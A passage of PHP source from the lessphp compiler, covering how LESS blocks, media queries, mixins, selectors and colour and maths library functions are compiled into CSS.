        return array(true, $bottom, $parser, $dir);
    }

    protected function compileImportedProps($props, $block, $out,
$sourceParser, $importDir) {
        $oldSourceParser = $this->sourceParser;

        $oldImport = $this->importDir;

        // TODO: this is because the importDir api is stupid
        $this->importDir = (array)$this->importDir;
        array_unshift($this->importDir, $importDir);

        foreach ($props as $prop) {
            $this->compileProp($prop, $block, $out);
        }

        $this->importDir = $oldImport;
        $this->sourceParser = $oldSourceParser;
    }

    /**
     * Recursively compiles a block.
     *
     * A block is analogous to a CSS block in most cases. A single LESS
document
     * is encapsulated in a block when parsed, but it does not have parent
tags
     * so all of it's children appear on the root level when compiled.
     *
     * Blocks are made up of props and children.
     *
     * Props are property instructions, array tuples which describe an
action
     * to be taken, eg. write a property, set a variable, mixin a block.
     *
     * The children of a block are just all the blocks that are defined
within.
     * This is used to look up mixins when performing a mixin.
     *
     * Compiling the block involves pushing a fresh environment on the
stack,
     * and iterating through the props, compiling each one.
     *
     * See lessc::compileProp()
     *
     */
    protected function compileBlock($block) {
        switch ($block->type) {
        case "root":
            $this->compileRoot($block);
            break;
        case null:
            $this->compileCSSBlock($block);
            break;
        case "media":
            $this->compileMedia($block);
            break;
        case "directive":
            $name = "@" . $block->name;
            if (!empty($block->value)) {
                $name .= " " .
$this->compileValue($this->reduce($block->value));
            }

            $this->compileNestedBlock($block, array($name));
            break;
        default:
            $this->throwError("unknown block type:
$block->type\n");
        }
    }

    protected function compileCSSBlock($block) {
        $env = $this->pushEnv();

        $selectors = $this->compileSelectors($block->tags);
        $env->selectors = $this->multiplySelectors($selectors);
        $out = $this->makeOutputBlock(null, $env->selectors);

        $this->scope->children[] = $out;
        $this->compileProps($block, $out);

        $block->scope = $env; // mixins carry scope with them!
        $this->popEnv();
    }

    protected function compileMedia($media) {
        $env = $this->pushEnv($media);
        $parentScope = $this->mediaParent($this->scope);

        $query =
$this->compileMediaQuery($this->multiplyMedia($env));

        $this->scope = $this->makeOutputBlock($media->type,
array($query));
        $parentScope->children[] = $this->scope;

        $this->compileProps($media, $this->scope);

        if (count($this->scope->lines) > 0) {
            $orphanSelelectors = $this->findClosestSelectors();
            if (!is_null($orphanSelelectors)) {
                $orphan = $this->makeOutputBlock(null,
$orphanSelelectors);
                $orphan->lines = $this->scope->lines;
                array_unshift($this->scope->children, $orphan);
                $this->scope->lines = array();
            }
        }

        $this->scope = $this->scope->parent;
        $this->popEnv();
    }

    protected function mediaParent($scope) {
        while (!empty($scope->parent)) {
            if (!empty($scope->type) && $scope->type !=
"media") {
                break;
            }
            $scope = $scope->parent;
        }

        return $scope;
    }

    protected function compileNestedBlock($block, $selectors) {
        $this->pushEnv($block);
        $this->scope = $this->makeOutputBlock($block->type,
$selectors);
        $this->scope->parent->children[] = $this->scope;

        $this->compileProps($block, $this->scope);

        $this->scope = $this->scope->parent;
        $this->popEnv();
    }

    protected function compileRoot($root) {
        $this->pushEnv();
        $this->scope = $this->makeOutputBlock($root->type);
        $this->compileProps($root, $this->scope);
        $this->popEnv();
    }

    protected function compileProps($block, $out) {
        foreach ($this->sortProps($block->props) as $prop) {
            $this->compileProp($prop, $block, $out);
        }
        $out->lines = $this->deduplicate($out->lines);
    }

    /**
     * Deduplicate lines in a block. Comments are not deduplicated. If a
     * duplicate rule is detected, the comments immediately preceding each
     * occurence are consolidated.
     */
    protected function deduplicate($lines) {
        $unique = array();
        $comments = array();

        foreach ($lines as $line) {
            if (strpos($line, '/*') === 0) {
                $comments[] = $line;
                continue;
            }
            if (!in_array($line, $unique)) {
                $unique[] = $line;
            }
            array_splice($unique, array_search($line, $unique), 0,
$comments);
            $comments = array();
        }
        return array_merge($unique, $comments);
    }

    protected function sortProps($props, $split = false) {
        $vars = array();
        $imports = array();
        $other = array();
        $stack = array();

        foreach ($props as $prop) {
            switch ($prop[0]) {
            case "comment":
                $stack[] = $prop;
                break;
            case "assign":
                $stack[] = $prop;
                if (isset($prop[1][0]) && $prop[1][0] ==
$this->vPrefix) {
                    $vars = array_merge($vars, $stack);
                } else {
                    $other = array_merge($other, $stack);
                }
                $stack = array();
                break;
            case "import":
                $id = self::$nextImportId++;
                $prop[] = $id;
                $stack[] = $prop;
                $imports = array_merge($imports, $stack);
                $other[] = array("import_mixin", $id);
                $stack = array();
                break;
            default:
                $stack[] = $prop;
                $other = array_merge($other, $stack);
                $stack = array();
                break;
            }
        }
        $other = array_merge($other, $stack);

        if ($split) {
            return array(array_merge($imports, $vars), $other);
        } else {
            return array_merge($imports, $vars, $other);
        }
    }

    protected function compileMediaQuery($queries) {
        $compiledQueries = array();
        foreach ($queries as $query) {
            $parts = array();
            foreach ($query as $q) {
                switch ($q[0]) {
                case "mediaType":
                    $parts[] = implode(" ", array_slice($q, 1));
                    break;
                case "mediaExp":
                    if (isset($q[2])) {
                        $parts[] = "($q[1]: " .
                            $this->compileValue($this->reduce($q[2]))
. ")";
                    } else {
                        $parts[] = "($q[1])";
                    }
                    break;
                case "variable":
                    $parts[] =
$this->compileValue($this->reduce($q));
                break;
                }
            }

            if (count($parts) > 0) {
                $compiledQueries[] =  implode(" and ", $parts);
            }
        }

        $out = "@media";
        if (!empty($parts)) {
            $out .= " " .
                implode($this->formatter->selectorSeparator,
$compiledQueries);
        }
        return $out;
    }

    protected function multiplyMedia($env, $childQueries = null) {
        if (is_null($env) ||
            !empty($env->block->type) &&
$env->block->type != "media"
        ) {
            return $childQueries;
        }

        // plain old block, skip
        if (empty($env->block->type)) {
            return $this->multiplyMedia($env->parent, $childQueries);
        }

        $out = array();
        $queries = $env->block->queries;
        if (is_null($childQueries)) {
            $out = $queries;
        } else {
            foreach ($queries as $parent) {
                foreach ($childQueries as $child) {
                    $out[] = array_merge($parent, $child);
                }
            }
        }

        return $this->multiplyMedia($env->parent, $out);
    }

    protected function expandParentSelectors(&$tag, $replace) {
        $parts = explode("$&$", $tag);
        $count = 0;
        foreach ($parts as &$part) {
            $part = str_replace($this->parentSelector, $replace, $part,
$c);
            $count += $c;
        }
        $tag = implode($this->parentSelector, $parts);
        return $count;
    }

    protected function findClosestSelectors() {
        $env = $this->env;
        $selectors = null;
        while ($env !== null) {
            if (isset($env->selectors)) {
                $selectors = $env->selectors;
                break;
            }
            $env = $env->parent;
        }

        return $selectors;
    }


    // multiply $selectors against the nearest selectors in env
    protected function multiplySelectors($selectors) {
        // find parent selectors

        $parentSelectors = $this->findClosestSelectors();
        if (is_null($parentSelectors)) {
            // kill parent reference in top level selector
            foreach ($selectors as &$s) {
                $this->expandParentSelectors($s, "");
            }

            return $selectors;
        }

        $out = array();
        foreach ($parentSelectors as $parent) {
            foreach ($selectors as $child) {
                $count = $this->expandParentSelectors($child, $parent);

                // don't prepend the parent tag if & was used
                if ($count > 0) {
                    $out[] = trim($child);
                } else {
                    $out[] = trim($parent . ' ' . $child);
                }
            }
        }

        return $out;
    }

    // reduces selector expressions
    protected function compileSelectors($selectors) {
        $out = array();

        foreach ($selectors as $s) {
            if (is_array($s)) {
                list(, $value) = $s;
                $out[] =
trim($this->compileValue($this->reduce($value)));
            } else {
                $out[] = $s;
            }
        }

        return $out;
    }

    protected function eq($left, $right) {
        return $left == $right;
    }

    protected function patternMatch($block, $orderedArgs, $keywordArgs) {
        // match the guards if it has them
        // any one of the groups must have all its guards pass for a match
        if (!empty($block->guards)) {
            $groupPassed = false;
            foreach ($block->guards as $guardGroup) {
                foreach ($guardGroup as $guard) {
                    $this->pushEnv();
                    $this->zipSetArgs($block->args, $orderedArgs,
$keywordArgs);

                    $negate = false;
                    if ($guard[0] == "negate") {
                        $guard = $guard[1];
                        $negate = true;
                    }

                    $passed = $this->reduce($guard) == self::$TRUE;
                    if ($negate) $passed = !$passed;

                    $this->popEnv();

                    if ($passed) {
                        $groupPassed = true;
                    } else {
                        $groupPassed = false;
                        break;
                    }
                }

                if ($groupPassed) break;
            }

            if (!$groupPassed) {
                return false;
            }
        }

        if (empty($block->args)) {
            return $block->isVararg || empty($orderedArgs) &&
empty($keywordArgs);
        }

        $remainingArgs = $block->args;
        if ($keywordArgs) {
            $remainingArgs = array();
            foreach ($block->args as $arg) {
                if ($arg[0] == "arg" &&
isset($keywordArgs[$arg[1]])) {
                    continue;
                }

                $remainingArgs[] = $arg;
            }
        }

        $i = -1; // no args
        // try to match by arity or by argument literal
        foreach ($remainingArgs as $i => $arg) {
            switch ($arg[0]) {
            case "lit":
                if (empty($orderedArgs[$i]) || !$this->eq($arg[1],
$orderedArgs[$i])) {
                    return false;
                }
                break;
            case "arg":
                // no arg and no default value
                if (!isset($orderedArgs[$i]) && !isset($arg[2])) {
                    return false;
                }
                break;
            case "rest":
                $i--; // rest can be empty
                break 2;
            }
        }

        if ($block->isVararg) {
            return true; // not having enough is handled above
        } else {
            $numMatched = $i + 1;
            // greater than because default values always match
            return $numMatched >= count($orderedArgs);
        }
    }

    protected function patternMatchAll($blocks, $orderedArgs, $keywordArgs,
$skip = array()) {
        $matches = null;
        foreach ($blocks as $block) {
            // skip seen blocks that don't have arguments
            if (isset($skip[$block->id]) &&
!isset($block->args)) {
                continue;
            }

            if ($this->patternMatch($block, $orderedArgs, $keywordArgs))
{
                $matches[] = $block;
            }
        }

        return $matches;
    }

    // attempt to find blocks matched by path and args
    protected function findBlocks($searchIn, $path, $orderedArgs,
$keywordArgs, $seen = array()) {
        if ($searchIn == null) return null;
        if (isset($seen[$searchIn->id])) return null;
        $seen[$searchIn->id] = true;

        $name = $path[0];

        if (isset($searchIn->children[$name])) {
            $blocks = $searchIn->children[$name];
            if (count($path) == 1) {
                $matches = $this->patternMatchAll($blocks, $orderedArgs,
$keywordArgs, $seen);
                if (!empty($matches)) {
                    // This will return all blocks that match in the
closest
                    // scope that has any matching block, like lessjs
                    return $matches;
                }
            } else {
                $matches = array();
                foreach ($blocks as $subBlock) {
                    $subMatches = $this->findBlocks($subBlock,
                        array_slice($path, 1), $orderedArgs, $keywordArgs,
$seen);

                    if (!is_null($subMatches)) {
                        foreach ($subMatches as $sm) {
                            $matches[] = $sm;
                        }
                    }
                }

                return count($matches) > 0 ? $matches : null;
            }
        }
        if ($searchIn->parent === $searchIn) return null;
        return $this->findBlocks($searchIn->parent, $path,
$orderedArgs, $keywordArgs, $seen);
    }

    // sets all argument names in $args to either the default value
    // or the one passed in through $values
    protected function zipSetArgs($args, $orderedValues, $keywordValues) {
        $assignedValues = array();

        $i = 0;
        foreach ($args as $a) {
            if ($a[0] == "arg") {
                if (isset($keywordValues[$a[1]])) {
                    // has keyword arg
                    $value = $keywordValues[$a[1]];
                } elseif (isset($orderedValues[$i])) {
                    // has ordered arg
                    $value = $orderedValues[$i];
                    $i++;
                } elseif (isset($a[2])) {
                    // has default value
                    $value = $a[2];
                } else {
                    $this->throwError("Failed to assign arg "
. $a[1]);
                    $value = null; // :(
                }

                $value = $this->reduce($value);
                $this->set($a[1], $value);
                $assignedValues[] = $value;
            } else {
                // a lit
                $i++;
            }
        }

        // check for a rest
        $last = end($args);
        if ($last[0] == "rest") {
            $rest = array_slice($orderedValues, count($args) - 1);
            $this->set($last[1],
$this->reduce(array("list", " ", $rest)));
        }

        // wow is this the only true use of PHP's + operator for
arrays?
        $this->env->arguments = $assignedValues + $orderedValues;
    }

    // compile a prop and update $lines or $blocks appropriately
    protected function compileProp($prop, $block, $out) {
        // set error position context
        $this->sourceLoc = isset($prop[-1]) ? $prop[-1] : -1;

        switch ($prop[0]) {
        case 'assign':
            list(, $name, $value) = $prop;
            if ($name[0] == $this->vPrefix) {
                $this->set($name, $value);
            } else {
                $out->lines[] = $this->formatter->property($name,
                        $this->compileValue($this->reduce($value)));
            }
            break;
        case 'block':
            list(, $child) = $prop;
            $this->compileBlock($child);
            break;
        case 'mixin':
            list(, $path, $args, $suffix) = $prop;

            $orderedArgs = array();
            $keywordArgs = array();
            foreach ((array)$args as $arg) {
                $argval = null;
                switch ($arg[0]) {
                case "arg":
                    if (!isset($arg[2])) {
                        $orderedArgs[] =
$this->reduce(array("variable", $arg[1]));
                    } else {
                        $keywordArgs[$arg[1]] = $this->reduce($arg[2]);
                    }
                    break;

                case "lit":
                    $orderedArgs[] = $this->reduce($arg[1]);
                    break;
                default:
                    $this->throwError("Unknown arg type: " .
$arg[0]);
                }
            }

            $mixins = $this->findBlocks($block, $path, $orderedArgs,
$keywordArgs);

            if ($mixins === null) {
                $this->throwError("{$prop[1][0]} is
undefined");
            }

            foreach ($mixins as $mixin) {
                if ($mixin === $block && !$orderedArgs) {
                    continue;
                }

                $haveScope = false;
                if (isset($mixin->parent->scope)) {
                    $haveScope = true;
                    $mixinParentEnv = $this->pushEnv();
                    $mixinParentEnv->storeParent =
$mixin->parent->scope;
                }

                $haveArgs = false;
                if (isset($mixin->args)) {
                    $haveArgs = true;
                    $this->pushEnv();
                    $this->zipSetArgs($mixin->args, $orderedArgs,
$keywordArgs);
                }

                $oldParent = $mixin->parent;
                if ($mixin != $block) $mixin->parent = $block;

                foreach ($this->sortProps($mixin->props) as $subProp)
{
                    if ($suffix !== null &&
                        $subProp[0] == "assign" &&
                        is_string($subProp[1]) &&
                        $subProp[1][0] != $this->vPrefix
                    ) {
                        $subProp[2] = array(
                            'list', ' ',
                            array($subProp[2], array('keyword',
$suffix))
                        );
                    }

                    $this->compileProp($subProp, $mixin, $out);
                }

                $mixin->parent = $oldParent;

                if ($haveArgs) $this->popEnv();
                if ($haveScope) $this->popEnv();
            }

            break;
        case 'raw':
            $out->lines[] = $prop[1];
            break;
        case "directive":
            list(, $name, $value) = $prop;
            $out->lines[] = "@$name " .
$this->compileValue($this->reduce($value)).';';
            break;
        case "comment":
            $out->lines[] = $prop[1];
            break;
        case "import":
            list(, $importPath, $importId) = $prop;
            $importPath = $this->reduce($importPath);

            if (!isset($this->env->imports)) {
                $this->env->imports = array();
            }

            $result = $this->tryImport($importPath, $block, $out);

            $this->env->imports[$importId] = $result === false ?
                array(false, "@import " .
$this->compileValue($importPath).";") :
                $result;

            break;
        case "import_mixin":
            list(,$importId) = $prop;
            $import = $this->env->imports[$importId];
            if ($import[0] === false) {
                if (isset($import[1])) {
                    $out->lines[] = $import[1];
                }
            } else {
                list(, $bottom, $parser, $importDir) = $import;
                $this->compileImportedProps($bottom, $block, $out,
$parser, $importDir);
            }

            break;
        default:
            $this->throwError("unknown op: {$prop[0]}\n");
        }
    }


    /**
     * Compiles a primitive value into a CSS property value.
     *
     * Values in lessphp are typed by being wrapped in arrays, their format
is
     * typically:
     *
     *     array(type, contents [, additional_contents]*)
     *
     * The input is expected to be reduced. This function will not work on
     * things like expressions and variables.
     */
    public function compileValue($value) {
        switch ($value[0]) {
        case 'list':
            // [1] - delimiter
            // [2] - array of values
            return implode($value[1], array_map(array($this,
'compileValue'), $value[2]));
        case 'raw_color':
            if (!empty($this->formatter->compressColors)) {
                return
$this->compileValue($this->coerceColor($value));
            }
            return $value[1];
        case 'keyword':
            // [1] - the keyword
            return $value[1];
        case 'number':
            list(, $num, $unit) = $value;
            // [1] - the number
            // [2] - the unit
            if ($this->numberPrecision !== null) {
                $num = round($num, $this->numberPrecision);
            }
            return $num . $unit;
        case 'string':
            // [1] - contents of string (includes quotes)
            list(, $delim, $content) = $value;
            foreach ($content as &$part) {
                if (is_array($part)) {
                    $part = $this->compileValue($part);
                }
            }
            return $delim . implode($content) . $delim;
        case 'color':
            // [1] - red component (either number or a %)
            // [2] - green component
            // [3] - blue component
            // [4] - optional alpha component
            list(, $r, $g, $b) = $value;
            $r = round($r);
            $g = round($g);
            $b = round($b);

            if (count($value) == 5 && $value[4] != 1) { // rgba
                return
'rgba('.$r.','.$g.','.$b.','.$value[4].')';
            }

            $h = sprintf("#%02x%02x%02x", $r, $g, $b);

            if (!empty($this->formatter->compressColors)) {
                // Converting hex color to short notation (e.g. #003399 to
#039)
                if ($h[1] === $h[2] && $h[3] === $h[4] &&
$h[5] === $h[6]) {
                    $h = '#' . $h[1] . $h[3] . $h[5];
                }
            }

            return $h;

        case 'function':
            list(, $name, $args) = $value;
            return
$name.'('.$this->compileValue($args).')';
        default: // assumed to be unit
            $this->throwError("unknown value type:
$value[0]");
        }
    }

    protected function lib_pow($args) {
        list($base, $exp) = $this->assertArgs($args, 2,
"pow");
        return pow($this->assertNumber($base),
$this->assertNumber($exp));
    }

    protected function lib_pi() {
        return pi();
    }

    protected function lib_mod($args) {
        list($a, $b) = $this->assertArgs($args, 2, "mod");
        return $this->assertNumber($a) % $this->assertNumber($b);
    }

    protected function lib_tan($num) {
        return tan($this->assertNumber($num));
    }

    protected function lib_sin($num) {
        return sin($this->assertNumber($num));
    }

    protected function lib_cos($num) {
        return cos($this->assertNumber($num));
    }

    protected function lib_atan($num) {
        $num = atan($this->assertNumber($num));
        return array("number", $num, "rad");
    }

    protected function lib_asin($num) {
        $num = asin($this->assertNumber($num));
        return array("number", $num, "rad");
    }

    protected function lib_acos($num) {
        $num = acos($this->assertNumber($num));
        return array("number", $num, "rad");
    }

    protected function lib_sqrt($num) {
        return sqrt($this->assertNumber($num));
    }

    protected function lib_extract($value) {
        list($list, $idx) = $this->assertArgs($value, 2,
"extract");
        $idx = $this->assertNumber($idx);
        // 1 indexed
        if ($list[0] == "list" && isset($list[2][$idx -
1])) {
            return $list[2][$idx - 1];
        }
    }

    protected function lib_isnumber($value) {
        return $this->toBool($value[0] == "number");
    }

    protected function lib_isstring($value) {
        return $this->toBool($value[0] == "string");
    }

    protected function lib_iscolor($value) {
        return $this->toBool($this->coerceColor($value));
    }

    protected function lib_iskeyword($value) {
        return $this->toBool($value[0] == "keyword");
    }

    protected function lib_ispixel($value) {
        return $this->toBool($value[0] == "number" &&
$value[2] == "px");
    }

    protected function lib_ispercentage($value) {
        return $this->toBool($value[0] == "number" &&
$value[2] == "%");
    }

    protected function lib_isem($value) {
        return $this->toBool($value[0] == "number" &&
$value[2] == "em");
    }

    protected function lib_isrem($value) {
        return $this->toBool($value[0] == "number" &&
$value[2] == "rem");
    }

    protected function lib_rgbahex($color) {
        $color = $this->coerceColor($color);
        if (is_null($color)) {
            $this->throwError("color expected for rgbahex");
        }

        return sprintf("#%02x%02x%02x%02x",
            isset($color[4]) ? $color[4] * 255 : 255,
            $color[1],
            $color[2],
            $color[3]
        );
    }

    protected function lib_argb($color){
        return $this->lib_rgbahex($color);
    }

    /**
     * Given an url, decide whether to output a regular link or the
base64-encoded contents of the file
     *
     * @param  array  $value either an argument list (two strings) or a
single string
     * @return string        formatted url(), either as a link or
base64-encoded
     */
    protected function lib_data_uri($value) {
        $mime = ($value[0] === 'list') ? $value[2][0][2] : null;
        $url = ($value[0] === 'list') ? $value[2][1][2][0] :
$value[2][0];

        $fullpath = $this->findImport($url);

        if ($fullpath && ($fsize = filesize($fullpath)) !== false)
{
            // IE8 can't handle data uris larger than 32KB
            if ($fsize/1024 < 32) {
                if (is_null($mime)) {
                    if (class_exists('finfo')) { // php 5.3+
                        $finfo = new finfo(FILEINFO_MIME);
                        $mime = explode('; ',
$finfo->file($fullpath));
                        $mime = $mime[0];
                    } elseif
(function_exists('mime_content_type')) { // PHP 5.2
                        $mime = mime_content_type($fullpath);
                    }
                }

                if (!is_null($mime)) // fallback if the mime type is still
unknown
                    $url = sprintf('data:%s;base64,%s', $mime,
base64_encode(file_get_contents($fullpath)));
            }
        }

        return 'url("'.$url.'")';
    }

    // utility func to unquote a string
    protected function lib_e($arg) {
        switch ($arg[0]) {
            case "list":
                $items = $arg[2];
                if (isset($items[0])) {
                    return $this->lib_e($items[0]);
                }
                $this->throwError("unrecognised input");
            case "string":
                $arg[1] = "";
                return $arg;
            case "keyword":
                return $arg;
            default:
                return array("keyword",
$this->compileValue($arg));
        }
    }

    protected function lib__sprintf($args) {
        if ($args[0] != "list") return $args;
        $values = $args[2];
        $string = array_shift($values);
        $template = $this->compileValue($this->lib_e($string));

        $i = 0;
        if (preg_match_all('/%[dsa]/', $template, $m)) {
            foreach ($m[0] as $match) {
                $val = isset($values[$i]) ?
                    $this->reduce($values[$i]) :
array('keyword', '');

                // lessjs compat, renders fully expanded color, not raw
color
                if ($color = $this->coerceColor($val)) {
                    $val = $color;
                }

                $i++;
                $rep = $this->compileValue($this->lib_e($val));
                $template =
preg_replace('/'.self::preg_quote($match).'/',
                    $rep, $template, 1);
            }
        }

        $d = $string[0] == "string" ? $string[1] :
'"';
        return array("string", $d, array($template));
    }

    protected function lib_floor($arg) {
        $value = $this->assertNumber($arg);
        return array("number", floor($value), $arg[2]);
    }

    protected function lib_ceil($arg) {
        $value = $this->assertNumber($arg);
        return array("number", ceil($value), $arg[2]);
    }

    protected function lib_round($arg) {
        if ($arg[0] != "list") {
            $value = $this->assertNumber($arg);
            return array("number", round($value), $arg[2]);
        } else {
            $value = $this->assertNumber($arg[2][0]);
            $precision = $this->assertNumber($arg[2][1]);
            return array("number", round($value, $precision),
$arg[2][0][2]);
        }
    }

    protected function lib_unit($arg) {
        if ($arg[0] == "list") {
            list($number, $newUnit) = $arg[2];
            return array("number",
$this->assertNumber($number),
                $this->compileValue($this->lib_e($newUnit)));
        } else {
            return array("number", $this->assertNumber($arg),
"");
        }
    }

    /**
     * Helper function to get arguments for color manipulation functions.
     * takes a list that contains a color like thing and a percentage
     */
    public function colorArgs($args) {
        if ($args[0] != 'list' || count($args[2]) < 2) {
            return array(array('color', 0, 0, 0), 0);
        }
        list($color, $delta) = $args[2];
        $color = $this->assertColor($color);
        $delta = floatval($delta[1]);

        return array($color, $delta);
    }

    protected function lib_darken($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[3] = $this->clamp($hsl[3] - $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_lighten($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[3] = $this->clamp($hsl[3] + $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_saturate($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[2] = $this->clamp($hsl[2] + $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_desaturate($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);
        $hsl[2] = $this->clamp($hsl[2] - $delta, 100);
        return $this->toRGB($hsl);
    }

    protected function lib_spin($args) {
        list($color, $delta) = $this->colorArgs($args);

        $hsl = $this->toHSL($color);

        $hsl[1] = $hsl[1] + $delta % 360;
        if ($hsl[1] < 0) {
            $hsl[1] += 360;
        }

        return $this->toRGB($hsl);
    }

    protected function lib_fadeout($args) {
        list($color, $delta) = $this->colorArgs($args);
        $color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) -
$delta/100);
        return $color;
    }

    protected function lib_fadein($args) {
        list($color, $delta) = $this->colorArgs($args);
        $color[4] = $this->clamp((isset($color[4]) ? $color[4] : 1) +
$delta/100);
        return $color;
    }

    protected function lib_hue($color) {
        $hsl = $this->toHSL($this->assertColor($color));
        return round($hsl[1]);
    }

    protected function lib_saturation($color) {
        $hsl = $this->toHSL($this->assertColor($color));
        return round($hsl[2]);
    }

    protected function lib_lightness($color) {
        $hsl = $this->toHSL($this->assertColor($color));
        return round($hsl[3]);
    }

    // get the alpha of a color
    // defaults to 1 for non-colors or colors without an alpha
    protected function lib_alpha($value) {
        if (!is_null($color = $this->coerceColor($value))) {
            return isset($color[4]) ? $color[4] : 1;
        }
    }

    // set the alpha of the color
    protected function lib_fade($args) {
        list($color, $alpha) = $this->colorArgs($args);
        $color[4] = $this->clamp($alpha / 100.0);
        return $color;
    }

    protected function lib_percentage($arg) {
        $num = $this->assertNumber($arg);
        return array("number", $num*100, "%");
    }

    /**
     * Mix color with white in variable proportion.
     *
     * It is the same as calling `mix(#ffffff, @color, @weight)`.
     *
     *     tint(@color, [@weight: 50%]);
     *
     * http://lesscss.org/functions/#color-operations-tint
     *
     * @return array Color
     */
    protected function lib_tint($args) {
        $white = ['color', 255, 255, 255];
        if ($args[0] == 'color') {
            return $this->lib_mix([ 'list', ',',
[$white, $args] ]);
        } elseif ($args[0] == "list" && count($args[2])
== 2) {
            return $this->lib_mix([ $args[0], $args[1], [$white,
$args[2][0], $args[2][1]] ]);
        } else {
            $this->throwError("tint expects (color, weight)");
        }
    }

    /**
     * Mix color with black in variable proportion.
     *
     * It is the same as calling `mix(#000000, @color, @weight)`
     *
     *     shade(@color, [@weight: 50%]);
     *
     * http://lesscss.org/functions/#color-operations-shade
     *
     * @return array Color
     */
    protected function lib_shade($args) {
        $black = ['color', 0, 0, 0];
        if ($args[0] == 'color') {
            return $this->lib_mix([ 'list', ',',
[$black, $args] ]);
        } elseif ($args[0] == "list" && count($args[2])
== 2) {
            return $this->lib_mix([ $args[0], $args[1], [$black,
$args[2][0], $args[2][1]] ]);
        } else {
            $this->throwError("shade expects (color,
weight)");
        }
    }

    // mixes two colors by weight
    // mix(@color1, @color2, [@weight: 50%]);
    //
http://sass-lang.com/docs/yardoc/Sass/Script/Functions.html#mix-instance_method
    protected function lib_mix($args) {
        if ($args[0] != "list" || count($args[2]) < 2)
            $this->throwError("mix expects (color1, color2,
weight)");

        list($first, $second) = $args[2];
        $first = $this->assertColor($first);
        $second = $this->assertColor($second);

        $first_a = $this->lib_alpha($first);
        $second_a = $this->lib_alpha($second);

        if (isset($args[2][2])) {
            $weight = $args[2][2][1] / 100.0;
        } else {
            $weight = 0.5;
        }

        $w = $weight * 2 - 1;
        $a = $first_a - $second_a;

        $w1 = (($w * $a == -1 ? $w : ($w + $a)/(1 + $w * $a)) + 1) / 2.0;
        $w2 = 1.0 - $w1;

        $new = array('color',
            $w1 * $first[1] + $w2 * $second[1],
            $w1 * $first[2] + $w2 * $second[2],
            $w1 * $first[3] + $w2 * $second[3],
        );

        if ($first_a != 1.0 || $second_a != 1.0) {
            $new[] = $first_a * $weight + $second_a * ($weight - 1);
        }

        return $this->fixColor($new);
    }

    protected function lib_contrast($args) {
        $darkColor  = array('color', 0, 0, 0);
        $lightColor = array('color', 255, 255, 255);
        $threshold  = 0.43;

        if ( $args[0] == 'list' ) {
            $inputColor = ( isset($args[2][0]) ) ?
$this->assertColor($args[2][0])  : $lightColor;
            $darkColor  = ( isset($args[2][1]) ) ?
$this->assertColor($args[2][1])  : $darkColor;
            $lightColor = ( isset($args[2][2]) ) ?
$this->assertColor($args[2][2])  : $lightColor;
            $threshold  = ( isset($args[2][3]) ) ?
$this->assertNumber($args[2][3]) : $threshold;
        }
        else {
            $inputColor  = $this->assertColor($args);
        }

        $inputColor = $this->coerceColor($inputColor);
        $darkColor  = $this->coerceColor($darkColor);
        $lightColor = $this->coerceColor($lightColor);

        //Figure out which is actually light and dark!
        if ( $this->toLuma($darkColor) >
$this->toLuma($lightColor) ) {
            $t  = $lightColor;
            $lightColor = $darkColor;
            $darkColor  = $t;
        }

        $inputColor_alpha = $this->lib_alpha($inputColor);
        if ( ( $this->toLuma($inputColor) * $inputColor_alpha) <
$threshold) {
            return $lightColor;
        }
        return $darkColor;
    }

    private function toLuma($color) {
        list(, $r, $g, $b) = $this->coerceColor($color);

        $r = $r / 255;
        $g = $g / 255;
        $b = $b / 255;

        $r = ($r <= 0.03928) ? $r / 12.92 : pow((($r + 0.055) / 1.055),
2.4);
        $g = ($g <= 0.03928) ? $g / 12.92 : pow((($g + 0.055) / 1.055),
2.4);
        $b = ($b <= 0.03928) ? $b / 12.92 : pow((($b + 0.055) / 1.055),
2.4);

        return (0.2126 * $r) + (0.7152 * $g) + (0.0722 * $b);
    }

    protected function lib_luma($color) {
        return array("number", round($this->toLuma($color) *
100, 8), "%");
    }


    public function assertColor($value, $error = "expected color
value") {
        $color = $this->coerceColor($value);
        if (is_null($color)) $this->throwError($error);
        return $color;
    }

    public function assertNumber($value, $error = "expecting
number") {
        if ($value[0] == "number") return $value[1];
        $this->throwError($error);
    }

    public function assertArgs($value, $expectedArgs, $name = "")
{
        if ($expectedArgs == 1) {
            return $value;
        } else {
            if ($value[0] !== "list" || $value[1] !=
",") $this->throwError("expecting list");
            $values = $value[2];
            $numValues = count($values);
            if ($expectedArgs != $numValues) {
                if ($name) {
                    $name = $name . ": ";
                }

                $this->throwError("${name}expecting $expectedArgs
arguments, got $numValues");
            }

            return $values;
        }
    }

    protected function toHSL($color) {
        if ($color[0] === 'hsl') {
            return $color;
        }

        $r = $color[1] / 255;
        $g = $color[2] / 255;
        $b = $color[3] / 255;

        $min = min($r, $g, $b);
        $max = max($r, $g, $b);

        $L = ($min + $max) / 2;
        if ($min == $max) {
            $S = $H = 0;
        } else {
            if ($L < 0.5) {
                $S = ($max - $min) / ($max + $min);
            } else {
                $S = ($max - $min) / (2.0 - $max - $min);
            }
            if ($r == $max) {
                $H = ($g - $b) / ($max - $min);
            } elseif ($g == $max) {
                $H = 2.0 + ($b - $r) / ($max - $min);
            } elseif ($b == $max) {
                $H = 4.0 + ($r - $g) / ($max - $min);
            }

        }

        $out = array('hsl',
            ($H < 0 ? $H + 6 : $H)*60,
            $S * 100,
            $L * 100,
        );

        if (count($color) > 4) {
            // copy alpha
            $out[] = $color[4];
        }
        return $out;
    }

    protected function toRGB_helper($comp, $temp1, $temp2) {
        if ($comp < 0) {
            $comp += 1.0;
        } elseif ($comp > 1) {
            $comp -= 1.0;
        }

        if (6 * $comp < 1) {
            return $temp1 + ($temp2 - $temp1) * 6 * $comp;
        }
        if (2 * $comp < 1) {
            return $temp2;
        }
        if (3 * $comp < 2) {
            return $temp1 + ($temp2 - $temp1)*((2/3) - $comp) * 6;
        }

        return $temp1;
    }

    /**
     * Converts a hsl array into a color value in rgb.
     * Expects H to be in range of 0 to 360, S and L in 0 to 100
     */
    protected function toRGB($color) {
        if ($color[0] === 'color') {
            return $color;
        }

        $H = $color[1] / 360;
